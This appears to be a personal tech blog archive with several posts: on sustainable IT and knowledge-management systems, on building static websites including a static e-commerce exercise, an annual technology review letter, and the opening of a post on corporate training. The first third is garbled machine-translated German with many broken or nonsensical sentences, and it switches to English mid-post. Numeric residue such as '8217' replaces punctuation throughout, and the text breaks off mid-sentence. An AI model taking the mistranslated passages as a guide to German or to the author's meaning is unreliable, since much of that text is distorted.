Parkplätze, öffentliche Verkehrsmittel, Sanitär-und Wasserversorgung. Stellen Sie sich vor, wir bauen Städte für Menschen. Wir können sie nachhaltig machen. Sehen Sie den Kontrast zwischen zwei Entwürfen: Der erste setzt auf Parkplätze braucht es mehr und mehr Parkplätze, da es mehr und mehr Platz braucht und nur Autos können die Strecke zu durchqueren. Der zweite ist für Menschen gebaut, wo zu Fuß ist der Weg zu umgehen. Es funktioniert, weil es weniger Platz braucht. Bilderhöflichkeit: andrewalexanderprice Sicherlich können wir aus diesen Systemen bei der Gestaltung unseres Wissensmanagementsystems Lehren ziehen. Entwerfen für Menschen mit geringer Wartungs - oder Wartungsfreiheit oder mit der Art, wie Menschen es tun, anstatt sie zu verändern Eine neue Kultur aufzuzwingen. Nudge wie soziale Experimente anstelle von, sagen großen Sprung nach vorn Diese sind harte Fragen, ohne definitive Antworten. Dennoch können wir versuchen, die Rolle der nachhaltigen Systeme in der IT und die Schlüsselelemente für die Schaffung solcher Systeme zu verstehen. Drei Arten von IT-Systemen Lassen Sie uns sagen, dass eine Bank in neue Unternehmen der Massen-Wohlstand Kunden zu bekommen. Historisch dienten sie nur die Kunden mit 10 Millionen Dollar oder mehr. Jetzt wollen sie die gleichen Dienste für Menschen mit 250K zu verlängern. Lassen Sie uns sagen, dass die Organisation baut eine neue Abteilung zur Unterstützung dieser Initiative. Auch wenn es einfach klingt, ist dies eine schwierige Aufgabe. Erstens, die Mitarbeiter werden verwendet, um die Millionäre zu halten. Sie werden verwendet, um die Prozesse zu umgehen, um den Superreichen gerecht zu werden. Nun, dass sie mit regelmäßigen reichen Leute arbeiten, können ihre alten Wege nicht auf die neuen Zahlen skalieren. Und ihre Kompensation früher kann von verschiedenen Metriken abhängen: Handling ein paar HNI. Nun müssen sie verschiedene Metriken verwenden können insgesamt Geld unter Verwaltung. Die Systeme, die sie verwenden, werden für die am häufigsten verwendeten entworfen. Lassen Sie uns beschränken uns auf die Computersysteme (und unterstützende Prozesse), um diese Sparte laufen: Lassen Sie uns sehen, was diese Systeme tun und wo Nachhaltigkeit einen großen Unterschied machen kann. Kernsysteme Ohne diese Core-Systeme läuft das Unternehmen nicht einmal. Das Management stellt sicher, dass der Fokus auf diesen Systemen liegt. Diese Systeme laufen mit strengen SLAs, mit ausreichender Finanzierung und oft mit Meilensteinen, Boni und Strafen. Diese Metriken sind sehr eng mit den Geschäftsmetriken verknüpft. Diese Systeme müssen nicht nachhaltig sein, es gibt genug Unterstützung, um sie durch die Bereitstellung von externen Reiz. Es kann jedoch sein, dass die Architektur dieser Systeme nachhaltig gestaltet werden kann. Häufig werden diese Systeme umgeschrieben, um Veränderungen in der Wirtschaft zu unterstützen. Diese Umschreibungen können teuer sein und können Verzögerungen bei der Fähigkeit zur Reaktion auf die Märkte verursachen. Wenn wir die Architektur nachhaltig gestalten, können wir Änderungen am System vornehmen, ohne wesentliche Änderungen an der Kernkomponente der Architektur vorzunehmen. Zum Beispiel, wenn wir gute Modularisierung, gute Schnittstellen und kohärente Philosophie der Daten haben, können wir die bestehende Architektur ohne Änderungen erweitern. Zum Beispiel, wie Unix dauerte für die letzten 50 Jahre, ohne grundlegende Änderungen. Diese Art von Build-for-Change-Architektur kann Kernsysteme veränderbar machen und eine nachhaltige Architektur schaffen. Erforderliche Support-Systeme Die erforderlichen Support-Systeme gehören nicht zu den Core-Systemen. Aber um die Core-Systeme laufen zu lassen, brauchen wir diese Systeme. Die Metriken auf diesen Systemen, die SLAs und wie gut sie ausgeführt werden, werden nicht direkt in die Hauptkernmetriken übersetzt. Dennoch sind sie wichtig, wie Versicherung. Zum Beispiel, wenn die Sicherheit ein Problem ist, würden Sie hören. Wenn Operationen ein Problem sind, würden Sie wieder davon hören. Wenn es keine Probleme gibt, sind die Chancen werden Sie nicht über diese Systeme überhaupt hören. Ein interessanter Aspekt ist, dass diese Systeme in verschiedenen Unternehmen sehr ähnlich sind. Zum Beispiel wäre die HR, die anders für eine Bank, sagen wir, ein Einzelhandelsunternehmen Die Chancen sind, dass sie weg mit der Verwendung der Computersysteme, die Generika sagen können, sind Software als Dienst in der Cloud. Oder, noch besser, können sie sogar auslagern die meisten dieser Funktionen nach außen. Cloud passt hier sehr gut, sei es als Full-End-to-End-Service oder als Teildienst. Da diese Systeme obligatorisch sind, auch wenn es keinen direkten Geschäftswert gibt, wird die IT häufig auf diesen Systemen gemessen. Aus diesem Grund müssen diese Systeme nicht selbsttragend sein. Dennoch, da diese nicht Kern des Unternehmens sind, sehr selten wollen Unternehmen in diesen Systemen zu innovieren. Optionale Support-Systeme Diese Systeme sind das, was das Management in der Vision spricht. Zum Beispiel, wenn ein Unternehmen sagt, dass die Mitarbeiter die besten Vermögenswerte sind, das sind die Systeme soll den Wert dieses Vermögenswertes zu erhöhen. Jedes visionäre Programm spricht darüber, wie diese Systeme geschaffen und gepflegt werden. Und doch sind diese Systeme, die am Ende oft fehlschlagen. Da diese nicht im Weg der Kernlieferung sind, selbst wenn diese Systeme ausfallen, wirft niemand Alarme auf. Sie sind wie der Klimawandel Vorboten. Ein paar Eisbären sterben Nicht ein Mainstream-Interesse Aber wir alle wissen, dass ohne diese Systeme, modernen digitalen Unternehmen nicht überleben können. Warum habe ich so eine kühne Erklärung Werfen Sie einen Blick auf die Modelle der modernen digitalen Unternehmen: Google, Facebook, Netflix und so. Fast alle von diesen legen viel Wert auf die Einstellung, die Schaffung und die Pflege Talente. Sie nehmen diese optionalen Systeme und machen sie zu wettbewerbsfähigen Vermögenswerten so viel, dass die meisten Unternehmen, die digital sein wollen, wollen sie auf diese Aspekte zu emulieren. Die ganze Idee von Innovationslaboratorien oder - gremien oder 2-stufigen IT - oder datengesteuerten Organisationen nehmen diese Praktiken als einen Weg, solche dynamischen Organisationen zu schaffen. Für eine Organisation, die diese optionalen Support-Systeme als eine Kernkraft sehen will, muss man sich nicht nur auf digitale Unternehmen verlassen. Sie können sich auf Open-Source-Ökosysteme, wo diese optionalen Systeme sind gut entwickelt und nachhaltig. Zum Beispiel, in der Open-Source-Welt, wenn ein Freiwilliger sich einer neuen Software-Entwicklungsaufwand, wie er es geht, kann er den Code und die Dokumentation auf Github lesen. Er kann die alten Notizen oder Diskussionen über Mailing-Listen-Archive oder Google-Gruppen lesen. Er kann an den schwachen Kanälen teilnehmen. Er kann den Code forkeln Er kann einige einfache Probleme beheben und zurückgeben Er kann die Dokumentation verbessern. Kurz gesagt, ohne irgendwelche Ressourcen zu besteuern, kann er ein produktives Mitglied des Teams werden. Tatsächlich sind dies die herausragenden Merkmale dieses Entwicklungsprozesses, die ihn nachhaltig machen: Alle optionalen Systeme werden in die erforderlichen Systeme eingebacken: Das Wissensmanagement ist Bestandteil des Versionskontrollsystems. Die optionalen Systeme sind einfach. Zum Beispiel sind die meisten der Dokumentation in Abschriften geschrieben. Es ist ein Teil des Quellcodes. Es ist nicht aufwendig, aber schnell auf den Punkt der Boot-Umreifung. Es begrüßt die Mitwirkenden. Der Vorgang des Gabelns und des Codes ist einfach. In der Tat, die erste denken, die Menschen handhaben ist diese Vereinfachung, bevor sie das Projekt in Github. Wenn sich die Führung ändert, kann das gesamte Projekt geklont werden. Es gibt keine versteckten Informationen. Im Gegensatz dazu, in einem Unternehmen, ist dies, wie es sein könnte: Ein lokales, spezielles Toolset, das Leute zwingt, zu lernen, bevor sie beitragen Ein spezielles Team, das Onboarding Dokumentation, die oft ist out-of-date beizubehalten, Wenn man hat Um einen Beitrag zu dem Projekt zu leisten, wird es die Handhabung eines bestehenden (oft beschäftigten) Teammitglieds erfordern. Keine schnelle Befriedigung für die neue Ecke, dh es gibt keinen Anreiz für neue Teilnehmer, dem Programm beizutreten. Kurz gesagt, die Open-Source-Weg ist nachhaltig, weil es einfach ist, begrüßt es zu neuen Ecken, so dass sie das System erhalten können. Nachhaltige Organisationen Die gleichen Prinzipien arbeiten auch bei der Schaffung von Organisationen. Die meisten Unternehmen konzentrieren sich auf Kunden und Ergebnisse, die zu den direkten Metriken beitragen. Die indirekten Metriken, die diese Metriken auf lange Sicht ermöglichen, können für eine Weile fokussieren, aber in dem Moment, in dem sie weniger wichtig werden, fallen sie auf der anderen Seite. Weil sie nicht nachhaltig sind, besteht die Gefahr, dass sie zu einer Ödnis der Systeme mit Lippenbekenntnissen werden. Die meisten Organisationen erkennen dieses Problem. Ihre Lösung ist, den Fokus auf dieses Problem zu erhöhen. Aber das löst das Problem nicht für immer. Stattdessen wird es wie US-medizinische Gesundheitsversorgung. Der Witz ist, dass Menschen mit reichen Plänen am Ende immer schlechte Behandlung, wie jeder will sie für etwas zu behandeln. Und Menschen ohne Versicherung auch am Ende immer schlechte Behandlung. Nur mit der richtigen Art der Versicherung erhalten wir die richtige Behandlung. Die Idee ist der Fokus sollte die Schaffung solcher nachhaltigen Systeme die Systeme, die ohne kontinuierliche Fokus laufen können. Diese Systeme sollten als Nebenprodukt der Hauptmetriken laufen. Sie sollten laufen, weil die Traditionen gegründet. Sie sollten laufen, weil sie egoistische Interessen der Menschen dienen. Sie sollten laufen, weil die kollektiven Interessen der Menschen, um andere zu bestätigen. Checkliste für nachhaltige Systeme Mit dem Wissensmanagement haben wir begonnen und nachhaltig umgesetzt. Ich gab keine Antwort auf diese Frage. Stattdessen ging ich weiter auf die Erklärung der Nachhaltigkeit. Nun wollen wir auf ein nachhaltiges Wissensmanagement zurückgreifen. Während wir es nicht definieren können, können wir in der Lage sein, bei der Erstellung einer Checkliste zu helfen, um zu sehen, ob ein System nachhaltig ist. Offensichtlich wollen wir, dass es einen geringen Platzbedarf hat, aber das ist nicht genug. Die folgende Checkliste kann ein guter Anfang sein. Im stationären Zustand sollte das System keine zusätzlichen Ressourcen benötigen, um es zu unterstützen. Bis es in den stabilen Zustand gelangt, sollten sich die Stakeholder dafür einsetzen. Das System sollte sich automatisch selbst halten. Es sollte im Interesse einer Person sein, es zu benutzen. Es sollte im Interesse einer Person sein, dazu beizutragen. Es sollte im Interesse des Teams zu nutzen und zu pflegen. Es sollte einfach sein, mit dem System zu beginnen. Sie sollte nicht den bestehenden Arbeitsweisen widersprechen. Solche Systeme können auf Dauer erhalten werden. Wenn wir ein nachhaltiges Wissensmanagement aufbauen, ist dies die Liste, gegen die wir vorgehen sollten. Geschrieben von rama um 10:03 Uhr Was wäre, wenn ich Ihnen sagen, dass die E-Commerce-Website, die Sie entwickelt haben, könnte auf einer statischen Website gehostet werden, die es bieten würde Premier Performance Oder dass das Dokumenten-Management-System auf jeder Ebene ausgeführt werden könnte, Alten statischen Server wie Apache. Nginx. Stick mit mir und gut erforschen dieses Thema. Diese Informationen können auch für fortgeschrittene Entwickler zu grundlegend sein, aber für die meisten Manager kann diese Einführung längst überfällig sein. Ein bisschen Geschichte Vor langer Zeit waren die meisten Websites statisch. Alle, die sie dienten, waren Seiten html, Text und Bilder. Hyperlinks erlaubten uns, von einer Seite zur anderen zu navigieren. Die meisten waren inhaltsreiche Websites mit Informationen, Unterhaltung und Fotos. Jetzt ist es unvorstellbar, dass das Klicken auf die Hyperlinks die einzige Möglichkeit war, mit den Seiten zu interagieren. Wie in der Abbildung gezeigt, ist das Protokoll zwischen dem Webserver und dem Benutzer fest: http-Protokoll. Die Art und Weise der Webserver interagiert mit Backend-Informationen (im Falle von statischen Web, es ist html, css, js, Bilder und so) ist bis zu uns. Eine statische Website dient diesen Informationen direkt aus dem Dateisystem. Als die Leser begannen, Websites auf interessante Weise zu navigieren oder durch das Hinzufügen von Inhalten mit den Websites (wie Kommentare) zu interagieren, begannen wir serverseitige Programmierung zu benötigen. Serving aus einem Dateisystem wird nicht. Die Anwendung muss komplexe Anforderungen zu verstehen und irgendwie verwenden Sie die Informationen in den Dateien (oder Datenbanken), um die Informationen zu dienen. Da Datenbank eine populäre Wahl ist, um strukturierte Informationen zu halten, fing Web an, als Schnittstelle zu den Datenbankarten der einfachen crud Operationen zu dienen. In der Tat, Anwendungen wie phpMyAdmin sogar lassen die Menschen verwalten die Datenbanken im Web. Zurück zu den Web-Anwendungen, die ich erwähnt, 8212 E-Commerce, digitale Marketing-, Dokumenten-Management-Systeme 8212 alle diese Websites gelten als interaktive, dynamische und programmierbar und benötigen daher einen Web-Applikationsserver. Im Moment wählen Sie eine Plattform (in der Regel bedeutet es einen App-Server, eine Sprache, ein Framework, eine Reihe von Bibliotheken), youre stecken mit ihm für immer. Mal sehen, wie wir unseren Ausstieg gestalten können. Statisches Web mit automatisierter Look-and-Feel-Unterstützung Lassen Sie uns einen einfachen Fall der Informationsdarstellung betrachten. In this setup, all the consumers want to do is read the information. In that case, why not stick to a static website We can. The advantages are obvious. First and foremost, a static website is simple. It does not require any moving parts. Any old webserver can serve static content. You can even run a static website, with a simple one-liner in Python ( python mSimpleHTTPServer in Python 2.7 or python3 m http. server ). It is also incredibly fast. The server has to simply send pages it does not have to do any other computation. As such, it can be sped up even more by caching the content locally, or even using CDN (content delivery networks). You can use special purpose webservers such as nginx, that are optimized for serving static content too. Furthermore, it is simple to maintain. You can back it up in the cloud, move to a different provider, and even serve it from your own desktop. You do not need to back up a database or worry about software upgrades, portability issues, or even support. But, what are the downsides Let us consider the problems: How do you create nice looking pages Let us say that you want to create a standard look and feel. If you are the kind that use hand-coded HTML, you will cut and paste the HTML template and then edit it. Pretty soon, it becomes complex. If you want to change the look and feel, you will have to go through all the pages and edit the few lines. How do you create standard elements of a website For example, you want a menu scheme. If you add a new area, then you have to go to each page and add a link in the menu to this new area of website. Or, if you want to create a sitemap, you will find yourself constantly updating the sitemap. Considering that a website has repetitive information depending on the context, static way of maintaining a website is cumbersome. That is why, even for the static websites, people prefer WordPress. Joomla. or Drupal all of which are meant for dynamically creating websites. In these systems of dynamic content generation, the content is generated based on the request. No matter what application you use, it will have following issues: The application becomes slow: The server needs to execute the program to generate a page and serve the page. Compare it to the earlier scenario where the server merely had to read the file from the file system and serve In fact, the server can even cache it, if the file doesnt change often. The application becomes complex: All the flexibility of combining content with the themes based on configuration comes at a price. The application server has to do many things. Consider the following full description of the stack. Any web server that is generating pages dynamically, needs to depend on an execution engine. It can be an engine that interprets a language, or executes a binary. For any language, we need a framework. For instance, if we are using Javascript, we can use Express as the framework. This framework can do many things. At a bare minimum, it can route the calls that is, it interprets any request and maps the request to the right response. Next, it needs to have libraries that deal with writing the logic to actually manipulate the data. To present the data, we need a templating engine. Of course, you have fancy names like Model (the data), view (the templates etc), and the controller (the routing) for this kind of framework (MVC). The problem with any stack is that once you are committed to it, it is incredibly difficult to change it. To make matters worse, the frameworks that let you start easily (for example, lot of php based frameworks) are not the best frameworks for enterprise strength requirements (like say Java, which is excellent in libraries that deal with lot of integration). Ask Facebook They started with Php and had to lot of optimizations to get the performance they want. How can we do better Can we still use the static website, and support better usability of the website Reduce the costs of maintenance The answer is yes. If we were to separate the content generation and content delivery, we can get best of the both worlds. From this activity, what did we gain We gained performance: The runtime has to serve static files, giving us several different options to improve the performance. We gained simplicity, somewhat: Technically, it is possible to mix and match different systems of generation (which is somewhat like using different languages and compiling down to machine code). Readers can observe that content delivery networks can do this job of caching generated content on-the-fly, giving us the illusion of static generation of content. Static website generators If we are going to generate static website, what options do we have Let us see the alternatives. Firstly, we can use the same dynamic content generators and dump out the entire site in static pages. That is, if we are using Drupal, we can dump all the nodes. Or, with WordPress, or any other content management site. The challenge is, what if there is no unique URL for a content Lot of content management sites offer multiple ways of accessing the static content. For example, Lotus notes was notorious for such URL generation. Then, the static content dumping can be difficult. More over, these systems are not meant for static website generation the limitations keep showing up as you start relying on them. Secondly, we can use WYSIWYG editors such as Dreamweaver. They can create static content, apply a theme, and generate the website. They come with several beautiful themes, icons, and support scripts as well. The challenge is that these systems are not programmable. Suppose you are generating content from external system. These systems do not provide a way to automate the content ingestion and upgrading of the website. Thirdly, we can use a programmable system that generates the content. These days, this is the favored approach. These systems generate or update the complete website just from text based files. You can programmatically import content, update the website and publish it to production all through scripting. Furthermore, they offer standard templating, support for CSS and Javascript libraries. The downside, of course, is that these systems are not mature. They are not general purpose either. Still, for an experienced programmer, this is a wonderful option. There are several examples of the third type of generation systems. The most popular ones are the ones that support blogging. For instance, Jekyll is a popular static website generator, written in Ruby, with a blog flavor. The content is authored in markdown format. Octopress is built on Jekyll supporting blogs. In Javascript world, there are blacksmith. docpad. and a few more. Out of all the contenders, for my use, I like hugo and docpad. Hugo is the simplest of the lot and extremely fast. Docpad is more versatile in supporting lot of different kind of formats, templates, and plugins. In hugo, all that I had to do was to create a hierarchy and drop in. md files as description. Based on the folder structure, it creates the menus, content layout, and the URLs. Docpad is a bit more complex, but it is also essentially the same. Static web with high interactivity There is a big problem with the earlier approach. Consider the example we were giving about a document management system: what if we want to search for the right document Or, sort the documents by date Or, slice and dice the material Or, draw graphs, based on the keywords For all these tasks, historically, we depended on web server doing all the heavy lifting. Do you want to sort the documents Send a request to the server. Do you want to filter the documents Send another request. While this kind of interaction between the user and the web server gets the job done, it is not terribly efficient. It is a burden on the server it increases bandwidth requirement it feels sluggish to the user. Thankfully, the situation changed with advancement of Javascript. Turns out when any HTML page is digested by the the browser, it creates a data structure called DOM. With Javascript, you can query and change the DOM. That means, at run time, you can do sort, filter, display, hide, animate, draw graphs all that with the information available to the browser. With this kind of power, we can design interactive websites without going back to the server. With this additional requirement, how we develop web pages and what technologies we use will be different. See the sequence diagram titled JS based interactive sites. The web server sends the data, html, and javascript the first time. After that, any interaction is handled by the script itself. It can compute the new content based on the user interaction, from the existing data and make the necessary modification to the page by changing the elements of DOM. The implications of this design option are enormous. We do not need to burden the server we do not need to overload the network we provide quick interaction to the customer. The range of interactions is limitless. For instance, if we are offering an electronic catalogue of books, we can search the titles, sort by authors, filter by publishing date, and so on. In fact, these kinds of interactions are common enough to have several mature libraries supporting them. For example, for the tasks I mentioned in the previous paragraph, I would use dataTables. If I am doing the same with millions of entries, I would use Pourover by NYTimes (which used this library for their oscar award fashion slicing and dicing web page). Static web for collaboration For the kind of interactivity we discussed earlier, Javascript libraries work well. If you think about it, all those web pages are providing is read-only interactivity. What if you want readwrite interactivity For example, if you have a website with lots of content. You want to provide people a way of adding comments. Take the case of earlier Octopress itself we may want to add commenting capability to those blog posts. How would we do that We certainly need server side capability to do that. Fortunately, the server-side capability need not come from us. We can easily use 3rd party server for these capabilities. For instance, we can use disqus or Facebook for comments. We can use Google analytics to track the users. In fact, the 3rd party server ecosystem is so strong these days, we can develop highly interactive websites, with just static content served out of our server. You can learn what other leading web companies are using on their web pages and what services they are using from stackshare. io . How do you integrate into your website Here is an example: This action creates a checkout button. When the user checkouts, it creates a token and provides the browser. You do need to have some server side component that takes this token and charges the user it goes beyond the usual static website I was describing. But, for most other less critically secure website, you can conduct the updates from the browser itself. For example, take a look at how you would integrate the analytics from Google on your website: You find this code in several websites, which posts a click data to the Google server. Admittedly, most services need server to interact with them, for security purposes. Nevertheless, the heavy lifting is done by some 3rd party web server. Static website special case: Server less setup A special case of static website is desktop website. Suppose you want to share a folder with your friends. Easiest way to put the folder in dropbox and share it with them. Now, suppose, you want to provide some interactivity, say, searching the files etc. What would you do You could host the files in a website. Too much trouble. You could run a local webserver. But, that is too complex for most people. Why not run the site with file: protocol, without requiring a server, directly opening a file in the browser This approach works surprisingly well. The workflow could be as easy as this: Let people, including you, place the files in the shared folder. Watch the folder on update (or, do it periodically) and run a script that generates the data file. The user can open the index. html folder, which uses the data file to create a web page. With suitable library (like datatables) the user can navigate, search and sort the files. This is a simple poor mans content management service. You can enhance the document authoring process to add all other kind of meta data to files so that you can make more effective slice and dice operations of the folder. Static web for e-commerce: An exercise for you Let us take it up one more notch. Can we design an entire e-commerce site as a static website (or, at least with minimal server components) We want to be able to display the catalogue, let the users browse, discover, and even readwrite the comments. In addition, we should let them add items to shopping cart and check them out. We may even want to add recommendations based on what you are looking at. Now, how many items can we keep in the catalogue Remember that images are in separate files. We only need the text data. Looking at general information, it is max 2K per item. While there is no limit to the amount of data browser can load, anecdotal evidence suggests that 256MB is a reasonable limit. So, 100,000 items can be displayed in catalogue, without problems. Remember that all this data and images can be served out of a CDN. We can do one better. We do not have to load all the items at once. We can load parts of items, based on demand. Now, if the commerce site has different divisions, and the customer chose one of them, we only need to load that part. If we can reduce the number of items to say 10,000 to start with, that makes it less than 20 MB, which is the size of a small video. So, it is entirely reasonable, for user experience perspective, to be able to load 20 MB for a highly interactive site. What about other services We can manage the cart in JavaScript. The actual checking out: payment, receipt, and communication to the backend need to be done an actual server. Anything less would make the system less secure. Anybody with knowledge of the JavaScript can easily spoof the browser so, best not to make direct calls to the backend, from the browser that assumes any valid data from the browser. All you are doing is a providing the integration in the browser We can think of some more modifications. What if we design a mobile application We only need to ship the deltas in the catalogue. After choosing the catalogue, the application can send a request to fulfillment with some additional credit card information. Now, go ahead do the following tasks: Draw the technical architecture diagram Create a data model and generate sample data in JSON Create a set of javascript programs to support the following activities users browsing the catalogue Adding items to the cart Checking out cart (here, you might some server components do it an a different server). Searching the catalogue Managing the cart For additional credit, do the following Cross-selling and upselling (people who bought what you looked for also bought the following or, buy this additional item at a discount). Discuss the security implications. Develop a mobile application that caches the entire catalogue on the device. Figure out a way to keep the catalogue data synchronized on demand. Because of Facebook, I have been in constant touch with friends, acquaintances and even people that I did not meet. I am using this annual letter as a way of summarizing, introspecting, and filling in the gaps in my usual communications about technologies to friends. It is heavily slanted towards technology, not the usual intersection of business and technology. There are three ways that I learn about technologies. One is by experimenting on my own. By actually coding, practicing, verifying hunches, validating ideas, and playing, I learn a bit. By talking to customers, sales people, engineering managers, and developers, I understand what the problems of application of technologies are. By reading books, news papers, and blogs, I try to see the interrelationships between different subjects and the technology influences in the modern world. Let me review from the annual perspective, what these three different influences taught me. (Cloud) Container based technologies I played quite a bit with container based technologies. Specifically, I tried various docker based tools. In fact, I setup systems on Digital Ocean that lets me create a new website, make modifications, and push to public, in less than 10 minutes. That is, using the scripts that I cobbled together (most of them are public domain, but I had to make some tweaks to suit my workflow), I can create a new docker instance, initialize with the right stack, provision reverse proxy. and push the content to that machine, install all dependencies, and start running the system. Minimal, cloud-ready OS8217s From my experiments with docker, I see that the power of virtual machine that can run any OS is not much useful. I don8217t want to think in terms of OS. What I want is a stack to program in. My OS should be cloud-aware OS. It should be minimal, should work well in a hive, should support orchestration, and should be invisible. Since I am unlikely to interactively work in it, I would place a premium on programmability, and support for REST services. Of course, it needs to secure, but since it is minimal OS, I want security at different layers. Based on all these requirements, I see hope for CoreOS kind of OS. I don8217t know if coreos is it, but something like that 8212 a minimal, cloud ready OS is going to succeed. Companies like Google and Facebook already use such systems for their internet scale applications. (Server side technologies) Node. js technologies I entered this year having learnt a bit about node. js. I have a love-hate relationship (who doesn8217t) with JavaScript. On one hand, I love its ability to treat functions as first class objects, its polymorphism, its ability to extend objects etc. Its approach to type system is dynamic, flexible, and incredibly powerful. Yet, I find lot of things to hate about JS. It scoping is infuriating. Its support for basics of large scale programming are absent. Its ability to type check are minimal. It leaves our crucial features of programming, letting users create competing idioms. For small to medium systems that are cobbled together by REST services, node. js still is a quick way of getting things done. And, I like npm 8212 it is even better than CPAN. I am not a fan of reinventing the wheel with all the tools like gulp, bower etc. The proliferation of these tools is confusing, putting off a casual user with their own standard tools. (Java was the original culprit in these matters.) In Node. js, the technologies I played with are: Express. Of course, duh. There may be better ones there, but I needed one standard one in my arsenal. This one will do. Mongo. The power of using JavaScript across all the layers is seductive. I don8217t have to translate from one format to another. And, let somebody worry about performance (well, not actually, but will do for the most part). Usual set of libraries, involving, parsing, slicing and dicing, and template management. Front end JavaScript I have been frustrated with the front end technologies. There are too many frameworks. MVC MVCC And, the complex edifice makes my head swim. At the end, I am not able to make sense of it all. Thankfully, I see things changing. I am able to settle down on a few choices for myself 8212 not because they are the best (in some cases, they are), but they are good for a generalist like me. JQuery. I still find it the best way to manage a DOM from JS. I never bothered to learn the full DOM API, and I find JQuery convenient way of managing. Web components. Specifically, I fell in love with Polymer. Why Think about this. HTML has a standard set of tags. Suppose you want to introduce a new tag. You need to create JavaScript that parses the new tag and manages it for you. So, your code is strewn in a few places: the JavaScript code, CSS specifications, and the HTML. It is too messy, too unmaintainable, and more importantly, difficult to mix different styles. Enter web components. You can create new elements as first class entries in DOM. The looks of the new element are specified via CSS in there itself. The behavior through the JavaScript also goes there. You expose specific properties and interactivity. The big thing is since it is first class element in DOM (as opposed to translated to standard elements through JS), you are able to reference it from JQuery and manage it just like you would a heading. Since not many browsers implemented web components, we need a Polyfill . a way of mimicking the behavior. Thanks to Polymer. now we have JavaScript code that makes it appear that the browser supports this DOM behavior of web components. This polyfill intercept every call to DOM and translates appropriately. Summary: It is slow and buggy at the moment. In time, it will take off, creating a nice 3rd party market for web components. It almost like what COM did for Microsoft. Assortment of libs: While I did not reach my ideal setup (where the machine can speak IKWYM 8211 8220I know what you mean: language), there are several libs that help me now. Specifically, I like the templates with inheritance like nunjucks. I also use Lodash to make life simpler. And, async. js to use the async paradigm of JavaScript. HTML looks and feel As an early adapter of Bootstrap, I stand vindicated in pushing it for my corporate users. Now a days, almost all development we do is responsive, built on standard template driven development. Within that, I dabbled with a few design trends because I found them interesting: Parallax Effect: You see pages where the background images roll slower than the text It gives a 3D layering effect. It is particularly effective in creating narrative stories. When the images are also responsive, this 3D effect can make the web pages come alive. To take a look at some examples, see: creativebloqweb-designparallax-scrolling-1131762 Interactive HTML pages: Imagine you are telling a story, where by changing some choices, the story changes. For examples, tabs change the content. But, imagine creating new content based on the user input, not merely showing and displaying the content. For instance, once we know the name of the reader, age and other details, it is easy to change the text to incorporate those elements. Or, if we know what they need, we can directly address in a sales dialog. While I did not carry out this idea to completion, I satisfied myself which the technology and the framework to do this interactive narrative sales tool. Naturally, this framework has a little bit of JS magic. Auto generation of web pages: As I was writing text, converting the text to HTML and a suitable web page became an obsession with me. I finally settled down to using combination of md5, bootstrap, and yaml properties to generate a good looking web page to share with people. If you are interested, please see these two blog posts, from yester years: Static web apps As I started seeing the advances in the web front ends, I see the possibilities of static web site. For instance, it is easy to create and run a static e-commerce application, with 10K or so SKU8217s without any trouble. We can even have recommendation engine, shopping cart, various payment methods 8212 all these thanks to web services and HTML5. The following are the technologies that I found useful in the static websites. markdown for html generation: For generic content, markdown is easy to author format. In fact, we can even author books in this format. asciidoc for book authoring: For larger format HTML with more whizbangs, asciidoc is what I tried. docpad for static website generation pandoc for format conversions For the in-page manipulation of large number of objects, I find the following very useful: pourover. The amazing slice and dice web sites for displaying large tables is done by pourover library from NY Times. I have high hopes for it. I think there are lot of innovative uses for this library, with its performance, and ability to cache the results. One of my favorite problems is to develop a web applications, without any db in the backend, a pure static application that acts as a library interface. We can search, slice and dice the selection using various criteria. For instance, latest document about a particular technology, written by author XXX, related to YYY document. Mobile amp Hybrid application development I have for a long while, bet on hybrid application development, instead of native application. Now, I concede that on the higher end market, native apps have an edge that is unlikely to be equaled by hybrid applications. Still, in the hands of an average developer, hybrid platforms may be better. They are difficult to get wrong, for simple applications. This year, I was hoping to do native application development, but never came around to it. With polymer being not yet completely ready, I dabbled very little with Angular based framework called Ionic. It was OK for the most part. Still, for simple pattern based development, I hold lot of hope in Yeoman. For corporate contexts, one can develop various scaffoldings and tools in Yeoman generator framework. That leads to compliant applications that share the standard look and feel without expensive coding. In my mind, right now, there are three kinds of languages: ones that run on JVM 8212 that includes scala, Java etc. Ones that translate to Javascript: these include Typescript. Coffeescript etc. And, the rest, like Go etc. Innovation in other languages has slowed down. Despite that, the three languages I dabbled this year are: Scala for big data applications, specifically for spark Python, again for data applications, specifically statistical processing, and Javascript, as I mentioned earlier. I liked typescript. especially, since it has support from Visual studio. I started on R, but did not proceed much further. Another language I played with a bit is Go, in the context of containers and deployments. Data and databases This year, I gave a 3 hr lecture in Singapore on bigdata, in the context of internet of things. I should have written it up in a document. The focus of that talk is what are the different areas of interest in big data are and what technologies, companies, and startups are playing in those areas. This holidays, I experimented with Aerospike. a distributed KV database developed by my friend Srini8217s company. Whatever little I tried, I loved it. It is easy to use, simple to install, and fast to boot. According to their numbers, it costs only 10 per hour to do 1 million reads per second on google compute platform. I will replicate and see how it compares against other databases like Redis and Cassandra that I am familiar with. On the statistics front, I familiarized with basics of statistics, which is always handy. I focused on greenteapressthinkbayesthinkbayes. pdf to learn more. I followed Quora to learn about the subjects in Coursera. I wanted to get to machine learning, but that will have to wait for 2015. On particular aspect of big data and analytics that fascinates me visualization. I played with D3 8212 it was of course the basis of most of the visualization advances that we see these days (bost. ocks. orgmike ). I am on the lookout for other toolkits Rickshaw. I will keep following it to see the new upcoming advances to make it more main stream. Other computing tools I find myself using the following tools: Atom for editing text files. Brackets. io for editing html files, and for live preview of the static web pages. VMWare workstation for my virtual machine needs. Markdown for note taking. Developer tools from Chrome for web development. Visual studio for web development Digital Ocean as my playground of coding activities OVH for any large size applications and servers Customer conversations Since most these conversations have some proprietary content, I cannot give full details here. In general, the focus in on innovation and how corporations innovate in the context of established businesses. Typically, it is a mix of technology, processes and organizational structure transformations to change the way businesses are run. I will need to talk about in byte size postings some other time. Wish you a happy 2015 May your year be full of exciting discovery See you in 2015 I looked at the way that the corporate training happens in technology areas and I find them wanting in several respects. This is my attempt at a bringing some best practices to corporate or institutional training. Most corporations have training programs, especially the ones that deal with IT technologies. The goal of these trainings is to train people so that they can be useful, productive members of a project. This is meant for training competent engineers, craftsmen who can support delivery of projects. A typical company gets two kinds of people to train: People fresh out of college . They went through latent learning, without clear goals. They learnt different subjects in college, without clear understanding of how that knowledge is meant to be used. They tried to understand concepts without real practice. People with a little experience . They worked on few projects, churning out code. Conditions in the industry is such that they were not exposed to quality code. Most of them do not understand the value of quality not do they understand what quality is. Current training methodology: What is wrong with it Typically any corporate training follows a standard process: they get nominations on who to train. They hire or get instructors, who are experts in that area. They put all of them in a room, 